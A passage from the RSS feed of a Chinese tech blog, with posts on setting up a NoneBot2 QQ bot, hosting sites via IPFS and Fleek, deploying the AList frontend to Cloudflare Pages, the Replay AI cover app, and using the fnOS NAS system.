        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启容器，扫码登录&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;安装NoneBot2&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装pip：&lt;code&gt;apt install python3-pip&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置pip USTC源：&lt;code&gt;pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装pipx：&lt;code&gt;apt install pipx&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装nb-cli：&lt;code&gt;pipx install nb-cli&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设置pipx变量：&lt;code&gt;pipx ensurepath&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装nb bootstrap：&lt;code&gt;nb self install nb-cli-plugin-bootstrap&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建新NoneBot2项目：&lt;code&gt;nb bs&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;root@n100-debian:~# nb bs
加载适配器列表中……
请输入项目名称
[?] 请输入 &amp;gt; onani
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入）
[?] 第 1 项 &amp;gt; 666
[?] 第 2 项 &amp;gt;
请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令，
如果有一个指令为 查询，当该配置项中有 &quot;/&quot; 时使用 &quot;/查询&quot; 才能够触发，
留空将使用默认值 [&apos;&apos;, &apos;/&apos;, &apos;#&apos;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令分隔符，一般用于二级指令，
留空将使用默认值 [&apos;.&apos;, &apos; &apos;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可
[?] 请输入 &amp;gt; 0.0.0.0
请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关
[?] 请输入 &amp;gt; 9090
[?] 是否在项目目录中释出快捷启动脚本？ Yes
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes
[?] 是否使用超级用户 Ping 指令回复插件？ Yes
[?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No
成功新建项目 onani
[?] 是否新建虚拟环境？ Yes
正在 /root/onani/.venv 中创建虚拟环境
创建虚拟环境成功
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No
[?] 是否立即安装项目依赖？ Yes
正在安装项目依赖
依赖安装成功
[?] 请选择需要启用的内置插件
项目配置完毕，开始使用吧！
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;成果展示（域名已弃用）&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/4b4680cc548e0c59ec18cef537c9b1f5412fbbcd.sos1AOn7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.onani.cn&quot;&gt;https://blog.onani.cn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://alist.onani.cn&quot;&gt;https://alist.onani.cn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/7c24ff7d54b2e0ccaecce4b2ef79155c54124fa4.FwNdculZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>使用基于IPFS的Fleek部署静态网站、托管图床、部署服务</title><link>https://2x.nz/posts/ipfs/</link><guid isPermaLink="true">https://2x.nz/posts/ipfs/</guid><description>IPFS是一个多节点的文件托管系统，你可以在上面共享文件、发布网站、而Fleek自动化了这个过程，并且可以链接你的Git存储库</description><pubDate>Wed, 16 Oct 2024 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文过旧，某些资源可能已经不可用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;什么是IPFS？&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;IPFS，是点到点的超媒体协议，它让网络更快、更安全、更开放。说简单一点，它就是一个去中心化互联网。说技术一点，它是一个基于分布式哈希表DHT进行内容寻址的，基于git模型版本管理的，基于默克尔对象关联的，基于点对点技术的，基于全球化命名空间IPNS的，基于各种技术的，一种分布式文件系统。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;用人话说，你可以把它看成一个共享网盘，你可以尝试下载&lt;a href=&quot;https://github.com/ipfs/ipfs-desktop&quot;&gt;IPFS - Desktop（适用于有图形界面的系统）&lt;/a&gt;或&lt;a href=&quot;https://github.com/ipfs/kubo&quot;&gt;kubo - ipfs（适用于CLI）&lt;/a&gt;。然后启动IPFS，你的设备将成为IPFS网络中的一个节点，如图&lt;img src=&quot;https://2x.nz/_astro/2024-10-17-10-47-08-image.DrwS5wZP.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;使用IPFS能做什么？&lt;/h3&gt;
&lt;p&gt;当你连接到IPFS网络后，IPFS会自动将你的设备作为一个本地IPFS节点并且寻找其他IPFS节点，你将能够帮助其他用户建立连接、提供文件。同时你也可以将你的文件上传到你的IPFS节点，等待分发，让网络上的其他用户可以访问你的文件。在IPFS网络中，访问文件通过IPFS网关，如：&lt;code&gt;https://ipfs.io/ipfs/&lt;/code&gt; + &lt;code&gt;CID（文件哈希）&lt;/code&gt; 实现访问。比如： https://ipfs.crossbell.io/ipfs/bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4&lt;/p&gt;
&lt;p&gt;（这里使用 &lt;code&gt;ipfs.crossbell.io&lt;/code&gt; 这个CrossBell托管的IPFS网关来规避GFW封禁）&lt;/p&gt;
&lt;h3&gt;这项技术真的有这么理想吗？&lt;/h3&gt;
&lt;p&gt;这项技术确实很理想，但是实际应用下来会遇到以下问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;通过本地IPFS节点上传的文件迟迟无法通过IPFS网关+CID实现访问&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发现的节点太少&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可能会大量占用你的带宽&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些问题大部分原因都是因为这个网络太过于庞大，而单个IPFS节点的权重很低，尽管IPFS的分发一般在几小时内可以完成。但对于个人来说，我们应当寻找一些服务商帮我们完成这些需求，它们往往在IPFS网络中的权重更大，进行文件更新的效率也很高，同时也提供一些扩展服务，比如自动化Git部署。而这篇文章使用的则是&lt;strong&gt;Fleek&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;关于Fleek&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;它似了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你可以简单理解为它权重很大，有很多的IPFS节点，经由Fleek上传到IPFS网络上的文件可以在几秒内完成广播，并且支持连接Git存储库部署项目和绑定你的域名&lt;/p&gt;
&lt;h3&gt;Fleek是否值得信赖？&lt;/h3&gt;
&lt;p&gt;本人仅接触此服务2天。观察到Fleek在成功部署网站后提供了三类访问方式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;xxx-xxx.fleek.app&lt;/code&gt;：这个域名使用了Cloudflare CDN，实测解析IP的数量为2，不建议使用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-17-11-01-49-image.kb9Tv0-r.webp&quot; alt=&quot;&quot; /&gt;：这种方法是原生的IPFS访问方式。通过IPFS网关+CID来访问。但由于CID为哈希值，当你的网站改动后你的CID会发生变化&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绑定自定义域名来访问，这将会使用亚马逊的CDN并且自动映射CID，实测解析IP数量超过30，并且速度很快&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
注意，任何使用HTTP协议的类ipfs技术都需要一个中心化服务器代理访问IPFS网络。只有当访问者连接上IPFS网络后才会使用去中心化的连接方式）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-17-11-07-40-image.BZG1Pycx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尽管显示了IPFS的文件浏览界面，但实际上这个页面是由HTTP请求到亚马逊 CDN反代IPFS网络实现的，实际上仍为中心化网络&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-17-11-08-44-image.B741-EDw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当你的设备已经连上IPFS网络后，所有流量将使用P2P（去中心化），所以你看到的访问地址实际上是本机地址&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;梳理一下思路，我们可以用Fleek做到什么&lt;/h3&gt;
&lt;p&gt;让Fleek连接你的Git存储库，通过构建命令构建静态网站，并发布到IPFS，同时兼容HTTP访问&lt;/p&gt;
&lt;h4&gt;正式开始&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往fleek.xyz，通过MetaMask登录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;连接你的Git存储库，输入构建命令等相关信息&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;部署网站&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绑定域名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最终访问&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;效果图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-17-11-31-33-image.DxsKcYjc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;拓展一下，我们还可以通过IPFS技术做什么？（域名已弃用）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建一个巨大的图床，已经投入使用，参见： https://pic.onani.cn （原理：请求 https://ipfs-pic.onani.cn ，获取图片列表，随机选择使用JS展示）&lt;img src=&quot;https://2x.nz/_astro/2024-10-17-11-34-44-image.S67eY37V.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无需再自托管任何图片，已经投入使用，本博客所有图片都使用IPFS存储&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;理论上，你可以将任何占用存储的服务上传到IPFS，实现存算分离&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>教你把AList的前端部署到CF Pages！让你的AList秒加载！</title><link>https://2x.nz/posts/alist-web/</link><guid isPermaLink="true">https://2x.nz/posts/alist-web/</guid><description>将AList Web部署到CF Pages可以显著提升访问者的浏览体验，因为静态资源都在CF的边缘节点，而后端使用API交互，而不是由源服务器路由所有流量，既能减轻源服务器的负载，又能使用CF Pages的不回源优势，一箭双雕</description><pubDate>Mon, 14 Oct 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前情提要&lt;a href=&quot;https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;本教程&lt;strong&gt;不是 AList 的无服务器部署&lt;/strong&gt;，仅将前端页面部署到 Cloudflare Pages，这样用户就能很快从 cf 的边缘节点拉取前端文件，而不用 cf 回源，提高浏览体验，后端仍然需要一台开放到公网的服务器部署 AList（无公网服务器可使用 Cloudflare Tunnels）&lt;/p&gt;
&lt;h3&gt;首先，保证你的后端服务器支持v4v6双栈访问&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;使用Cloudflare Tunnel，套cf&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;分别设置A和AAAA解析，麻烦，如果你的IP很快，那其实可以不用前后端分离，暴露源站的前后端分离也不能避免被DDoS，因为你的源站会在HTTP报文中暴露&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;然后，开始正式将AList前端部署到Cloudflare Pages&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fork仓库：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alist-org/alist-web&quot;&gt;https://github.com/alist-org/alist-web&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更改项目根目录的&lt;code&gt;env.production&lt;/code&gt;文件为你的后端服务器地址&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/6f2871ca5d35e1e974d89611835f3a2c7fd205e7.gIGclZZf.webp&quot; alt=&quot;QmduQJq3TydzvLzBn47zLxp2MR1iD2sxm67EzFUFuEBvQa.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将仓库克隆到本地，需要安装&lt;a href=&quot;https://git-scm.com/&quot;&gt;Git&lt;/a&gt;：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;使用SSH（需要持有你的Github SSH私钥）：
git clone git@github.com:你的用户名/你Fork的仓库

使用HTTPS（Not Use Magic有概率SSL握手失败）：
git clone git@github.com:你的用户名/你Fork的仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;下载汉化包：&lt;a href=&quot;https://alist.onani.cn/guest/alist_Zh-CN&quot;&gt;AcoFork 的网盘&lt;/a&gt;或&lt;a href=&quot;https://crowdin.com/project/alist/zh-CN&quot;&gt;Crowdin - 需要登录&lt;/a&gt;&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/68d31e9797edfc3c1d8a72386ebf3a643d117ce6.CIsG04T2.webp&quot; alt=&quot;QmXVpMc7BqbXv9EaAbeptsrnhYLinvQQsu1btBE3VvDixa.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;解压，将&lt;code&gt;alist (zh-CN)\src\lang&lt;/code&gt;里面的&lt;code&gt;Zh-CN&lt;/code&gt;文件夹复制到仓库下&lt;code&gt;src/lang&lt;/code&gt;下&lt;/li&gt;
&lt;li&gt;编辑根目录的&lt;code&gt;.gitignore&lt;/code&gt;，添加一行&lt;code&gt;!/src/lang/zh-CN/&lt;/code&gt;确保文件不被忽略&lt;/li&gt;
&lt;li&gt;下载&lt;a href=&quot;https://nodejs.org/zh-cn&quot;&gt;Nodejs&lt;/a&gt;。在根目录打开终端，生成中文需要的文件：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;安装cnpm：
npm install -g cnpm --registry=https://registry.npmmirror.com

安装依赖：
cnpm install --legacy-peer-deps

生成中文需要的文件：
node .\scripts\i18n.mjs
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;将更改提交到暂存区并提交到远程仓库，在根目录打开终端&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;git add .   //将更改提交到暂存区
git commit -m 添加中文   //发布提交
git push -f   //强制将更改提交到远程仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;进入&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare 仪表盘&lt;/a&gt;，进入 Workers 和 Pages 页面&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/49ccd51771082fdc94eecb270caf987d257cd987.C9EnATeb.webp&quot; alt=&quot;QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;创建一个 Pages，选择连接 Git 存储库&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/9c4b9ff38d3c8810007ffe33c1a0f98cdd84b92e.BOmk-ddP.webp&quot; alt=&quot;QmZXerKv9PVxxscAe4w4LEfAaKfiScPQEKh1UroXnCeAUr.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;选择你的存储库，开始设置&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/fb97b5148c3811590609a0b85c6c1ee3c451853d.CFgdu0a6.webp&quot; alt=&quot;QmNdSGQrJtoqDnBx8pgDrtcfmUUfVBS9xdrN4xLgyPjyXE.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;构建命令输入：&lt;code&gt;pnpm install &amp;amp;&amp;amp; pnpm build&lt;/code&gt;，构建输出目录选择&lt;code&gt;/dist&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/c4300a94ccb16fe1383c721cbc83d1a71420e340.CV4uNRDi.webp&quot; alt=&quot;QmbhPdbE8f1zLKvWA6aEGJtZhmecRMVZiQbx6Zx1Lecp7J.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;等待 Cloudflare 构建结束，为 Pages 绑定自定义域&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/d27136b31d759898fe06041f12e7a07f07bd06b0.D3NpdDv6.webp&quot; alt=&quot;QmTMphu61uUF9XefBAVDVf19Jm1vLVUhhXQ9PXABy7hUpK.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问自定义域，查看 AList 是否正常&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/345df496620a9d3faf0eceeb773813bc9ac98375.CcfRZbit.webp&quot; alt=&quot;QmT8GLcaxtabhifKNL8kczEtozmNvdyhzJ823RfBrcFdpm.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;定制 AList&lt;a href=&quot;https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%AE%9A%E5%88%B6-alist&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;我们都知道 AList 支持自定义头部和内容，但是因为 Cloudflare Pages 是一个静态页面，所以我们采用硬编码方式，直接将需要自定义的内容写入仓库根目录的&lt;code&gt;index.html&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/c3ff113558b368da9a7aeb70f70b978f49d0eb7a.DM-1BMPp.webp&quot; alt=&quot;Qmd47pgFsyh28NjhkLiCPPbf7iasXMWvAvZDupH8QspG64.webp&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;编辑根目录的&lt;code&gt;index.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将更改提交到暂存区并提交到远程仓库，在根目录打开终端&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;git add .   //将更改提交到暂存区
git commit -m 你的提交摘要   //发布提交
git push -f   //强制将更改提交到远程仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Cloudflare Pages 会自动重新构建，等待新网页构建完成即可&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/863e5bb3ef65ec2a0af03303dd3afe13fb8dd8d4.AB956xzN.webp&quot; alt=&quot;QmNZemsDHz5QLxW3V2eANghmVkfBccEpe5vMAWUCLik4o6.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;疑难解答&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;如果你遇到构建错误（找不到solid-route/src）的情况，可以尝试查看你fork的仓库通过本地拉取下来后根目录的 &lt;code&gt;solid-route&lt;/code&gt; 文件夹是不是空的，如果是，请前往 https://github.com/alist-org/alist-web 手动将 &lt;code&gt;solid-route&lt;/code&gt; 文件夹里的内容搬到你仓库中，然后尝试重新构建&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>傻瓜式AI翻唱软件Replay！选歌！选模型！然后CREATE SONG！</title><link>https://2x.nz/posts/replay/</link><guid isPermaLink="true">https://2x.nz/posts/replay/</guid><description>Replay是一个自动化的AI翻唱软件，用户仅需要提供想要翻唱的歌和RVC模型，Replay会自动进行人声分离，并生成AI翻唱音频，对于新手来说十分友好</description><pubDate>Mon, 14 Oct 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;AI翻唱！仅需两步！&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往&lt;a href=&quot;https://www.tryreplay.io/&quot;&gt;Replay | Free AI Voice Cloning and Stemming using RVC Models (tryreplay.io)&lt;/a&gt;下载Replay&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开Replay，首先根据引导下载数据包（约11G）。然后根据图片操作，选择歌曲和模型，最后点击 &lt;code&gt;CREATE SONG&lt;/code&gt; 即可！&lt;img src=&quot;https://2x.nz/_astro/59f2cc973405b81324f0472f5309ff6efa682ace.Bsi6ShBi.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-15-16-40-07-image.BDt01jIN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>飞牛NAS玩机体验</title><link>https://2x.nz/posts/fnos/</link><guid isPermaLink="true">https://2x.nz/posts/fnos/</guid><description>飞牛NAS系统是一个现代的开源的NAS系统。影视刮削在国内属于TOP1，并且刚需的Docker软件也功能全面易用，博主本人也在使用</description><pubDate>Sun, 13 Oct 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;吸引我的东西&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;影视刮削：飞快，薄纱Plex几条街。通过&lt;a href=&quot;/autobangumi&quot;&gt;AutoBangumi&lt;/a&gt;可以完美自动追番+刮削一条龙服务。偶尔会有不准，但可以手动匹配，数据源来自&lt;a href=&quot;https://www.themoviedb.org/&quot;&gt;TMDB&lt;/a&gt;和&lt;a href=&quot;https://www.imdb.com/&quot;&gt;IMDB&lt;/a&gt;
&lt;img src=&quot;https://2x.nz/_astro/f1bd7089efdf00097d5474ef967a62dcfca42e98.Bo96YGgR.webp&quot; alt=&quot;QmbNXd4FJ8FM8mwkKxJNdBoNbvhawJ2HdSvW5tFUt3o4ub.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;相册：可以通过手机APP自动备份，支持仅备份图片，可以多用户使用，存储互不干扰，也可以设置要共享的图片
&lt;img src=&quot;https://2x.nz/_astro/2f9981f8397cc1278807ed28f8a2e15954868fec.cwdx3KfW.webp&quot; alt=&quot;QmeLJ7in4xcokPWUgkkSobDLUTrFrXep2o38qUXQ1njQR9.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;飞牛NAS在安装的时候会叫你选择安装盘，然后会将安装盘的一部分空间（默认为64GB）作为系统分区，其余空间可用于创建存储空间（但是系统盘不能和别的盘组存储池，只能单独建存储池）
&lt;img src=&quot;https://2x.nz/_astro/6403ef19d941abdc93d8c7da01364a8983c98109.d1VnShn3.webp&quot; alt=&quot;QmNfRbvHu1fuYoincACcP2MG4yV4pgRni3rb4Y9J7uw4FW.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;应用商店安装的软件需要先授予目录访问权限应用才能读取目录（无论是原生还是Docker应用）
&lt;img src=&quot;https://2x.nz/_astro/79af3b25d8b677b2718c953c0d431ead2f137e1d.SznlCcSt.webp&quot; alt=&quot;QmP4unAVra1zy7gkjEzSCYEDAJMMe1BVWPKoVyjYv8b9Ho.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发行版为Debian 12。根目录为系统分区的空间，/vol1 为存储空间1的空间 /vol2 为存储空间2的空间。推荐使用&lt;a href=&quot;https://onani.cn/RaiDrive&quot;&gt;RaiDrive&lt;/a&gt;或&lt;a href=&quot;/SSHFS&quot;&gt;SSHFS&lt;/a&gt;挂载Linux目录到Windows
&lt;img src=&quot;https://2x.nz/_astro/d4ec6f87893f4af5d7eedb2e2a19a784fd6c6f92.Df6U4dta.webp&quot; alt=&quot;QmWMQHNpJUUPg9B1Hdw2zmwLx9q6bcS52nUFiB3P9iYvU9.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SSH需要自己开，账密为NAS管理员账密，建议登上之后改为仅密钥登录，参见：&lt;a href=&quot;https://www.runoob.com/w3cnote/set-ssh-login-key.html&quot;&gt;设置 SSH 通过密钥登录&lt;/a&gt;
&lt;img src=&quot;https://2x.nz/_astro/9f92130465ab62e912b7404266febc7212e2125b.CWgtBlXk.webp&quot; alt=&quot;QmTk3va2NCbYTcVewVjuqjGx6MwMwiUnManrNwxvEq4SBR.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;各网卡测试&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;品牌&lt;/th&gt;
&lt;th&gt;是否免驱&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Realtek GBE Family （r8168）&lt;/td&gt;
&lt;td&gt;有线&lt;/td&gt;
&lt;td&gt;Realtek（瑞昱）&lt;/td&gt;
&lt;td&gt;否，需要自行安装驱动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Realtek 8852BE&lt;/td&gt;
&lt;td&gt;无线&lt;/td&gt;
&lt;td&gt;Realtek（瑞昱）&lt;/td&gt;
&lt;td&gt;否，需要自行安装驱动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intel AC3160&lt;/td&gt;
&lt;td&gt;无线&lt;/td&gt;
&lt;td&gt;Intel（英特尔）&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;USB有线网卡&lt;/td&gt;
&lt;td&gt;有线&lt;/td&gt;
&lt;td&gt;Realtek（瑞昱）&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;各存储模式区别&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模式&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;是否能扩容&lt;/th&gt;
&lt;th&gt;是否能换盘&lt;/th&gt;
&lt;th&gt;容灾&lt;/th&gt;
&lt;th&gt;是否能热备&lt;/th&gt;
&lt;th&gt;是否能修改存储模式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;将物理硬盘的一部分或者全部作为一个存储池，不可扩容，仅能单盘创建这个模式&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;td&gt;是，可转为RAID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linear&lt;/td&gt;
&lt;td&gt;将一个或多个物理硬盘的一部分或者全部作为一个存储池，可扩容&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RAID类&lt;/td&gt;
&lt;td&gt;自行使用搜索引擎搜索，更详细&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ol&gt;
